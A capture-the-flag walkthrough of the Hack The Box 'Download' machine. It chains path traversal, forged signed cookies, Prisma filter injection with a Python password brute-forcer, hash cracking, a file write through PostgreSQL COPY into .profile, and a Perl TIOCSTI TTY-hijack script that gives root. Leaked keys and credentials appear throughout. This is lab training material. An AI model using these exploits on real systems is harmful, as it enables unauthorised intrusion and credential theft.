https://www.hackthebox.com/machines/download

Nmap scan

The initial nmap scan shows that port 22 is open for ssh and 80 is open with an nginx web server.

# Nmap 7.94 scan initiated Sat Aug  5 14:01:04 2023 as: nmap -sC -sV -oN scans/initial.txt download.htb
Nmap scan report for download.htb (10.10.11.226)
Host is up (0.056s latency).
rDNS record for 10.10.11.226: download
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
|   256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_  256 e6:ff:77:94:12:40:7b:06:a2:97:7a:de:14:94:5b:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: A7E0469E13F02E350ABEB6DF724CE585
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Download.htb - Share Files With Ease
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  5 14:01:13 2023 -- 1 IP address (1 host up) scanned in 9.52 seconds

Looking at the web server

Basic site functionality

Looks like an online service where you can upload files, get a custom link, and share them with others.

Creating an account allows us to upload files that can be private or shareable.

Once files are uploaded, they can be downloaded and a link can be obtained.

Investigating with BurpSuite

Downloading a file uses an interesting request.

GET /files/download/98aab781-4d88-4c17-8a51-423bdde451c5 HTTP/1.1
Host: download.htb
Referer: http://download.htb/files/view/98aab781-4d88-4c17-8a51-423bdde451c5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoidGVzdGluZyJ9fQ==; download_session.sig=GdlMl2I5qHm_W45WjrYqnuBsXfQ
Connection: close

First, the cookie download_session can be decoded from base64 to reveal some json.

{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":16,"username":"testing"}}

It would be helpful to be able modify this cookie, but we are unable to the verification signature cookie download_sesion.sig. Forging this signature would require a secret key.

As this endpoint may be vulnerable to path traversal fuzzing for potential flaws is helpful but doesn’t reveal very much.

╭─cobra@hackarch ~/boxes/download
╰─$ ffuf -w ~/git/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -ic -u http://download.htb/files/download/FUZZ -fs 2066

All of the output is 403 errors, most likely having something to do with the length of the input path, but testing these paths in burp doesn’t show much more.

..\..\..\..\..\..\..\..\..\..\boot.ini [Status: 403, Size: 136, Words: 4, Lines: 11, Duration: 87ms]
\..\..\..\..\..\..\..\..\..\..\boot.ini [Status: 403, Size: 136, Words: 4, Lines: 11, Duration: 87ms]
..\..\..\..\..\..\..\..\..\..\etc\passwd [Status: 403, Size: 136, Words: 4, Lines: 11, Duration: 82ms]
\..\..\..\..\..\..\..\..\..\..\etc\passwd [Status: 403, Size: 136, Words: 4, Lines: 11, Duration: 78ms]
..\..\..\..\..\..\..\..\..\..\etc\shadow [Status: 403, Size: 136, Words: 4, Lines: 11, Duration: 97ms]
\..\..\..\..\..\..\..\..\..\..\etc\shadow [Status: 403, Size: 136, Words: 4, Lines: 11, Duration: 96ms]
..\..\..\..\..\..\..\..\windows\win.ini [Status: 403, Size: 136, Words: 4, Lines: 11, Duration: 92ms]

Looking at the headers from normal requests on the site, shows that the application is using Express. This means NodeJS is being used which indicates files like package.json in the root of the source code.

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 10 Aug 2023 03:31:34 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"863-UzZKHA/hoP8cH1XBifv/Ih76aVQ"
Content-Length: 2147

Given this, attempting to read the source code may be easier given its closer proximity compared to paths like /etc/passwd.

Just ../ in the path fails, but url encoding the slash results in package.json being read!

GET /files/download/..%2fpackage.json HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 10 Aug 2023 03:38:25 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 890
Connection: close
X-Powered-By: Express
Content-Disposition: attachment; filename="Unknown"
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 21 Apr 2023 17:00:43 GMT
ETag: W/"37a-187a4c2cff3"

{
    "name": "download.htb",
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "dev": "nodemon --exec ts-node --files ./src/app.ts",
      "build": "tsc"
    },
    "keywords": [],
    "author": "wesley",
    "license": "ISC",
    "dependencies": {
      "@prisma/client": "^4.13.0",
      "cookie-parser": "^1.4.6",
      "cookie-session": "^2.0.0",
      "express": "^4.18.2",
      "express-fileupload": "^1.4.0",
      "zod": "^3.21.4"
    },
    "devDependencies": {
      "@types/cookie-parser": "^1.4.3",
      "@types/cookie-session": "^2.0.44",
      "@types/express": "^4.17.17",
      "@types/express-fileupload": "^1.4.1",
      "@types/node": "^18.15.12",
      "@types/nunjucks": "^3.2.2",
      "nodemon": "^2.0.22",
      "nunjucks": "^3.2.4",
      "prisma": "^4.13.0",
      "ts-node": "^10.9.1",
      "typescript": "^5.0.4"
    }
}

As visible above, package.json points towards app.js which is also readable using the same trick.

"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

Analyzing the source code

Looking at the imports we can also recover several other files including middlware/flash.js, routers/auth.js, routers/files.js, and routers/home.js.

Additionally, app.js contains the secret key we need to forge the cookies we found earlier. The tool “Cookie-Monster” on GitHub allows us to easily do this: https://github.com/DigitalInterruption/cookie-monster

After writing and modifying the cookie json to a file, we can create a signature and cookie for it with the tool.

// new_cookie.json
{
    "flashes": {
        "info": ["hello"],
        "error":[],
        "success":[]
    },
    "user":{
        "id":16,
        "username":"testing"
    }
}
root@7fe7e61c9028:/tmp# cookie-monster -e -f new_cookie.json -k 8929874489719802418902487651347865819634518936754 -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /

[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOlsiaGVsbG8iXSwiZXJyb3IiOltdLCJzdWNjZXNzIjpbXX0sInVzZXIiOnsiaWQiOjE2LCJ1c2VybmFtZSI6InRlc3RpbmcifX0=
[+] Signature Cookie: download_session.sig=mZoCQX6IHTAy3uO0QW_irqDX050

Replacing the cookie in the browser dev tools shows that the modification worked!

Now that we have another way to funnel input into the application, let’s look back through the code and see if there are any other vulnerabilities present.

The application seems to be using Prisma as an ORM to interact with with some kind of database.

Looking back at app.js, we can see the following line being executed in some kind of query language as part of a backup.

COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);

Pasting this into ChatGPT yields that this syntax is specific to PostgreSQL.

Looking at routers/home.js, we can see how Prisma is pulling information about the current user from Postgres.

"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const auth_1 = __importDefault(require("../middleware/auth"));
const client = new client_1.PrismaClient();
const router = express_1.default.Router();
router.get("/", auth_1.default, async (req, res) => {
    const files = await client.file.findMany({
        where: { author: req.session.user },
        select: {
            id: true,
            uploadedAt: true,
            size: true,
            name: true,
            private: true,
            authorId: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });
    res.render("home.njk", { files });
});
exports.default = router;

Let’s try seeing if we can inject into this somehow using the cookie forging we found earlier.

Changing the user id and username both to {} seems to match all users, allowing us to leak all uploaded files.

{
    "flashes": {
        "info": [],
        "error":[],
        "success":[]
    },
    "user":{
        "id":{},
        "username":{}
    }
}

Unfortunately, nothing interesting is in these files. However, we are able to determine the first user of the application by changing the id to 1 and keeping the usernames as {}.

{
    "flashes": {
        "info": [],
        "error":[],
        "success":[]
    },
    "user":{
        "id":1,
        "username":{}
    }
}

This shows us that the first user of the application has the username WESLEY. This is most likelly the developer who worked on the application and resultantly has an account on the box.

Taking this vulnerability futher, we can see that the site is parsing our input as json which means we can create more complex payloads.

Since the json is being parsed into prisma, the following documentation is very helpful: https://www.prisma.io/docs/concepts/components/prisma-client/crud#get-a-filtered-list-of-records

Although we cannot use regular expressions, queries can use filters like startsWith which allows us to easily bruteforce values. This would be especially helpful if we could get it to use a filter on Wesley’s password.

Adding the password to the cookie seems to work as including it with an incorrect value no longer displays any files.

{
    "flashes": {
        "info": [],
        "error":[],
        "success":[]
    },
    "user":{
        "id":1,
        "username":"WESLEY",
        "password": "asdf"
    }
}

This means we should be able to use the Prisma filters in within the password value and slowly determine the user’s password.

As such, the following cookie returns Wesley’s files!

{
    "flashes": {
        "info": [],
        "error":[],
        "success":[]
    },
    "user":{
        "id":1,
        "username":"WESLEY",
        "password": {
            "startsWith": ""
        }
    }
}

Exploiting the vulnerability

To exploit this we can create a template json file which can be modified by a Python script to automate the bruteforce process by just checking upper/lowercase characters and digits to start.

// template.json
{
    "flashes": {
        "info": [],
        "error":[],
        "success":[]
    },
    "user":{
        "id":1,
        "username":"WESLEY",
        "password": {
            "startsWith": "PAYLOAD"
        }
    }
}
from string import ascii_letters, digits
import subprocess, requests

CHARS = ascii_letters + digits

json_file = open('./template.json')
json = json_file.read()
json_file.close()
password = ''

while True:
    for char in CHARS:
        session_data = json.replace('PAYLOAD', password + char)

        with open('./new_cookie.json', 'w') as cookie_file:
            cookie_file.write(session_data)

        session = subprocess.check_output('cookie-monster -e --input-file ./new_cookie.json -k 8929874489719802418902487651347865819634518936754 -n download_session', shell=True, text=True)
        data_cookie = session.split('\n')[-3].split('download_session=')[1].removesuffix('\x1b[39m')
        signature_cookie = session.split('\n')[-2].split('download_session.sig=')[1].removesuffix('\x1b[39m')

        cookies = {'download_session': data_cookie, 'download_session.sig': signature_cookie}
        headers = {'Host': 'download.htb'}
        resp = requests.get('http://10.10.11.226/home/', cookies=cookies, headers=headers)

        print(password + char, end='\r')

        if resp.content.decode('utf-8').find('SafetyManual') != -1:
            password += char
            break

After running the script we can see that it works. However, the password seems to be an md5 hash.

root@7fe7e61c9028:/tmp# python3 exploit.py
f889q

Given this we can modify our script to be more efficient limiting it to the characters present in the hash.

CHARS = '0123456789abcdef'

After a while the script starts to loop endlessly (no break point), indicating that the present characters represent the complete md5 hash.

f88976c10af66915918945b9679b2bd3

Plugging this into hashcat, it cracks almost instantly with the password dunkindonuts.

╭─cobra@blade ~/hashes/download
╰─$ hashcat wesley.hash -m0 ../rockyou.txt --show
f88976c10af66915918945b9679b2bd3:dunkindonuts

This credential successfully works to ssh into the box as the user wesley, allowing us to read the user flag!

╭─cobra@hackarch ~/boxes/download
╰─$ ssh wesley@download
wesley@download's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 10 Aug 2023 04:40:56 AM UTC

  System load:           0.0
  Usage of /:            57.6% of 5.81GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             316
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.226
  IPv6 address for eth0: dead:beef::250:56ff:feb9:d7d1


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Aug  3 08:29:52 2023 from 10.10.14.23
wesley@download:~$ cat user.txt
2d88ff2a329096f19091970faaa018a1

Privilege escalation

Basic enumeration

After getting a shell, running linpeas and checking sudo for special permissions doesn’t show much. Wesley also doesn’t have access to any special groups and no interesting files seem to be visisble. However, running pspy shows some interesting processes happening in the background.

It appears as if the user root is continually being sshed into as part of job.

2023/08/10 18:46:53 CMD: UID=0     PID=2420   | sshd: root [priv]

This is then followed by a couple commands from the ssh session.

2023/08/10 18:46:54 CMD: UID=0     PID=2499   | groups
2023/08/10 18:46:54 CMD: UID=0     PID=2509   | /bin/bash -i ./manage-db
2023/08/10 18:46:54 CMD: UID=0     PID=2516   | systemctl status postgresql
2023/08/10 18:46:54 CMD: UID=0     PID=2517   | systemctl status download-site
2023/08/10 18:46:54 CMD: UID=113   PID=2519   | su -l postgres
2023/08/10 18:46:54 CMD: UID=113   PID=2520   | groups
2023/08/10 18:46:59 CMD: UID=113   PID=2524   | /usr/bin/perl /usr/bin/psql
2023/08/10 18:46:59 CMD: UID=113   PID=2525   | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2023/08/10 18:46:59 CMD: UID=113   PID=2528   | /lib64/ld-linux-x86-64.so.2 --verify /usr/lib/postgresql/12/bin/psql

The first thing that is interesting here is the presence of the download-site service. We can easily find and read this configuration.

wesley@download:/tmp$ systemctl status download-site
● download-site.service - Download.HTB Web Application
     Loaded: loaded (/etc/systemd/system/download-site.service; enabled; vendor preset: enabled)
     Active: active (running) since Thu 2023-08-10 18:31:27 UTC; 24min ago
   Main PID: 821 (node)
      Tasks: 15 (limit: 4558)
     Memory: 77.2M
     CGroup: /system.slice/download-site.service
             └─821 /usr/bin/node app.js

Warning: some journal files were not opened due to insufficient permissions.

As visible in the output above, we can find the service file at /etc/systemd/system/download-site.service which contains hardcoded credentials!

wesley@download:/tmp$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

[Install]
WantedBy=multi-user.target

Investigating PostgreSQL

Using the database url we found, we should be able to login to the PostgreSQL database and poke around.

wesley@download:/tmp$ psql postgresql://download:CoconutPineappleWatermelon@localhost:5432/download
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

download=>

Listing and viewing tables doesn’t show much since we were already able to recover the developer’s password. However, the roles present are interesting.

download=> \du
                                          List of roles
 Role name |                         Attributes                         |        Member of
-----------+------------------------------------------------------------+-------------------------
 download  |                                                            | {pg_write_server_files}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

Although we don’t have access to the postgres user which has full superuser privileges, we do have access to the pg_write_server_files role. This makes sense given the PostgreSQL backup command writing to a file that we found earlier.

Given this, we should be able to write files anywhere that the postgres user has permissions to.

Taking a look back the pspy output where we left of before, we can see that after checking the status of the postgres and download-site services, the root user logs in as the user postgres with su -l postgres.

Since we can write to any files accessible by the user postgres, we should be able to modify a file like .profile in the home directory and execute code on login.

First, we can check the location of the postgres home by looking at /etc/passwd.

wesley@download:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
wesley:x:1000:1000:wesley:/home/wesley:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
fwupd-refresh:x:114:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false

It looks like the postgres home directory is in /var/lib/postgresql using /bin/bash as the default shell.

Using this, we can now write a postgres query to output to /var/lib/postgresql/.profile with a shell command.

First we can encode a paylod with base64 to create a file in the /tmp directory.

╭─cobra@hackarch ~/boxes/download
╰─$ echo -n 'touch /tmp/test'|base64 -w0
dG91Y2ggL3RtcC90ZXN0%

Next we can write to the file using PostgreSQL.

download=> copy (select convert_from(decode('dG91Y2ggL3RtcC90ZXN0','base64'),'utf-8')) to '/var/lib/postgresql/.profile';
COPY 1

Reading the file, shows that the write worked.

wesley@download:/tmp$ cat /var/lib/postgresql/.profile
touch /tmp/test

Once the ssh job executes, we can see that our command succesfully executed with the present of the new file /tmp/test owned by the user postgres!

-rw-rw-r--  1 postgres postgres       0 Aug 10 19:18 test

Further investigation

This method also works to successfully run a reverse shell and perform futher enumeration. However, nothing special seems to be accessible to postgres.

Considering this, it would be helpful if there were some way to trick the shell into executing the commands the user root instead of postgres. After some research, the following article yields to be quite helpful in this case: https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking.

Apparently, there has been a bug in both Linux and FreeBSD for a while where TTY hijacking can take place allowing code run by an unprivileged user to execute code as the user of the TTY. Although this is patched in sudo, it remains unpatched in su.

The article also helpfully includes a Perl script which we can attempt to user in our scenario.

#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'echo Payload as $(whoami)'.$/) {
    ioctl($tty_fh, &TIOCSTI, $c);
}

Since we don’t want to just print text as root, we can modify this exploit to create a copy of bash adding the setuid bit. (https://book.hacktricks.xyz/linux-hardening/privilege-escalation/payloads-to-execute)

#!/usr/bin/perl
require "sys/ioctl.ph";
open my $tty_fh, '<', '/dev/tty' or die $!;
foreach my $c (split //, "exit\n".'cp /bin/bash /tmp/b && chmod +s /tmp/b'.$/) {
    ioctl($tty_fh, &TIOCSTI, $c);
}

We can now save this file to /tmp/exploit and make it executable.

wesley@download:/tmp$ vim exploit
wesley@download:/tmp$ chmod +x exploit

Next, we can create a new payload to run /tmp/exploit.

╭─cobra@hackarch ~/boxes/download
╰─$ echo -n '/tmp/exploit'|base64 -w0
L3RtcC9leHBsb2l0%

Finally, we can write this payload to /var/lib/postgresql/.profile and wait for it to be triggered.

download=> copy (select convert_from(decode('L3RtcC9leHBsb2l0','base64'),'utf-8')) to '/var/lib/postgresql/.profile';
COPY 1

After some time, we can see that our SUID bash has been created. We can now run it and get root access to the box!

-rwsr-sr-x  1 root     root     1183448 Aug 10 19:47 b
wesley@download:/tmp$ ./b -p
b-5.0# id
uid=1000(wesley) gid=1000(wesley) euid=0(root) egid=0(root) groups=0(root),1000(wesley)
b-5.0# cat /root/root.txt
03db952db9aef72c7a967bbc3d1d4d9e